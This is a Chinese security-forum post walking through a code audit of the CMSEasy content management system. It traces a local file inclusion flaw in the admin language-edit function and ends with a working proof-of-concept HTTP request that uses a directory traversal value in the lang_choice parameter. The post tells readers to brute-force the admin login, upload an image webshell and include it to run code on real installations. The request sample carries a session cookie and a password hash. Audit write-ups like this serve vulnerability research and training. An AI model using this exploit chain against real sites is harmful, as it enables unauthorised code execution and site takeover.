【代码审计】Cmseasy代码审计实战

山屿云   ·   发表于 2023-08-01 14:55:38   ·   代码审计

1、全局搜索include定位漏洞点

2、漏洞触发点

function edit_action() {
        $lang_choice='system.php';
        if (isset($_GET['lang_choice'])){
            $lang_choice=$_GET['lang_choice'];
        }
        $langid=front::get('id');
        $lang=new lang();
        $langdata = $lang->getrows('id='.$langid, 1);
        if (is_array($langdata)){
            $langurlname=$langdata[0]['langurlname'];
        }else{
            front::alert(lang_admin('language_pack').lang_admin('nonentity'));
        }
        $path=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;
        $tipspath=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;
        if (front::post('submit')) {
            $content=file_get_contents($path);
            $to_delete_items=front::$post['to_delete_items'];
            unset(front::$post['to_delete_items']);
            foreach (front::$post as $key=>$val) {
                preg_match_all("/'".$key."'=>'(.*?)',/",$content,$out);
                if (is_array($to_delete_items) && in_array($key,$to_delete_items))
                    $content=str_replace($out[0][0],'',$content);
                else
                    $content=str_replace($out[1][0],$val,$content);
            }
            file_put_contents($path,$content);
            if ($_GET['site'] != 'default') {
                $ftp=new nobftp();
                $ftpconfig=config::get('website');
                $ftp->connect($ftpconfig['ftpip'],$ftpconfig['ftpuser'],$ftpconfig['ftppwd'],$ftpconfig['ftpport']);
                $ftperror=$ftp->returnerror();
                if ($ftperror) {
                    exit($ftperror);
                }
                else {
                    $ftp->nobchdir($ftpconfig['ftppath']);
                    $ftp->nobput($ftpconfig['ftppath'].'/lang/'.$langurlname.'/'.$lang_choice,$path);
                }
            }
            unset($content);
            event::log(lang_admin('modify').lang_admin('language_pack'),lang_admin('success'));
            $shepi='alert("'.lang_admin('dosomething').lang_admin('complete').'");gotoinurl("'.url('language/edit/id/'.$langdata[0]['id'],true);
            $shepi=$shepi.'&lang_choice='.$lang_choice;
            $shepi=$shepi.'");';
            echo $shepi;
        }
        $content=include($path);

        //搜索过滤
        if (front::post('search_submit')) {
            $search_title=front::post('search_title');
            $this->view->search_title=$search_title;
        }
        else{
            $search_title='';
        }
        foreach($content as $k => $v){
                //增加搜索条件
                if ($search_title == '') {
                    $content[$k] = $v;
                }else if (strpos($v,$search_title) === false) {
                   unset($content[$k]);
                }else{
                    $content[$k] = $v;
                }
        }
        $tips=include($tipspath);
        $this->view->tips=$tips;
        //分页
        $limit = 30;
        if(!front::get('page'))
            $page = 1;
        else
            $page = front::get('page');
        $total = ceil(count($content)/$limit);
        if($page  $total) $page = $total;
        $start = ($page-1) * $limit;
        $end = $start+$limit-1;
        $tmp = range($start,$end);
        $i = 0;
        $list_content_arr = array();
        foreach($content as $k => $v){
            if(in_array($i++,$tmp)){
                //增加搜索条件
                $list_content_arr[$k] = $v;
            }
        }
        $this->view->sys_lang=$list_content_arr;
        $this->view->link_str = listPage($total,$limit,$page);
        $this->view->lang_choice=$lang_choice;

    }

分析这个函数里面的代码,发现$content=include($path);,定位$path变量

$path=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;

发现$path是由$langurlname$lang_choice拼接,定位这两个变量

if (isset($_GET['lang_choice'])){
            $lang_choice=$_GET['lang_choice'];
        }
        $langid=front::get('id');
        $lang=new lang();
        $langdata = $lang->getrows('id='.$langid, 1);
        if (is_array($langdata)){
            $langurlname=$langdata[0]['langurlname'];

这里可以知道,如果我们要自己构造文件路径的话,那么这两个参数我们就需要由自己控制,那么首先看第一个if

if (isset($_GET['lang_choice']))

首先看到isset,这个函数可以翻一下PHP官方手册

所以这段if其实就是检测$_GET['lang_choice']的值而已,所以我们随便构造一个就行。

那么我们看到第二段if

if (is_array($langdata))

这里也是一样,先翻一下手册,看看is_array的作用

那么这段if的意思就很明显了,判断$langdata是否是数组,那么我们定位一下$langdata

$langdata = $lang->getrows('id='.$langid, 1);

这里的$langdata是调用了$lang类中的getrows方法,然后传递了两个参数,我们这里先看看$langid是个什么玩意

$langid=front::get('id');

这里是调用了frontget方法,不过我们可以不用管这个变量了,因为如果我们能够控制结尾的话,中间的部分其实就不用太过在意,不过我这里还是贴出来这个frontget方法

有很多,不过不用纠结哪一个,不重要。

那么我们现在就只需要先上传一个包含马子的文件,然后再去包含它就可以了,同时我们还需要知道触发这个漏洞的路径

首先从路径上来看,这个漏洞是在Admin路径下,说明触发这个漏洞可能需要一个管理员权限,那么我们首先需要进入到后台,爆破账号密码

3、分析复现

从上面的审计可以知道,我们的漏洞点是需要控制lang_choice这个传参的,所以我们直接全局搜索看看

发现了这段代码,这里我们可以控制lang_choice传参,不过好像还需要传递几个参数

<a href="#" title="{lang_admin('language_item')}">{lang_admin('return_language_item')}</a>

这是完整的代码

{$base_url}/index.php?case=language&amp;act=edit&amp;id=1&amp;lang_choice=system_custom.php&amp;admin_dir=admin&amp;site=default"

url  GET  所有的参数都会在url栏显示

从这个文件所在的路径可以知道,这应该是个模板管理的功能,可以找一找

这个文件应该就是后台模板的功能点,那么来看剩下的一个参数怎么去构建

admin_dir={get('admin_dir',true)}&amp;site=default"

首先admin_dir应该就是后台目录,我们查看一下文件路径,发现只有一个目录,就是admin

然后我们直接拼接路径即可,然后我们访问123.txt,文件中的内容是<?php phpinfo();?>

成功触发!

POC:

GET /index.php?case=language&amp;act=edit&amp;id=1&amp;admin_dir=admin&amp;site=default&amp;lang_choice=../../123.txt HTTP/1.1

Host: 192.168.91.151

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Connection: close

Referer: http://192.168.91.151/index.php?case=index&amp;act=index&amp;admin_dir=admin&amp;site=default

Cookie: PHPSESSID=ogh7ejmqg4oaum4514ree46935; loginfalse=0; login_username=admin; login_password=863211e6ed45ca9046066222dddf16a9

在真实环境中,我们可以上传一个图片马,再进行包含即可

4、实战演示

在添加内容出,可以上传文件,我们上传一个图片马

包含这个地址即可

5、总结

正式课程内容也讲过代码审计,不过如果大家需要自己手动审计0day,那么就需要我们审计不同的CMS,研究每一个代码,不同的框架!

用户名金币积分时间理由
Track-魔方 400.00 0 2023-08-07 17:05:21 深度 100 普适 100 可读 200

打赏我,让我更有动力~

1 条回复   |  直到 7个月前 | 363 次浏览

XCKKW
发表于 7个月前

牛,不过有几处好像还是有点不懂,
$path=ROOT.’/lang/‘.$langurlname.’/‘.$lang_choice; 这里的ROOT.’/lang/‘ 是接的路径吗,root是指权限还是啥

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.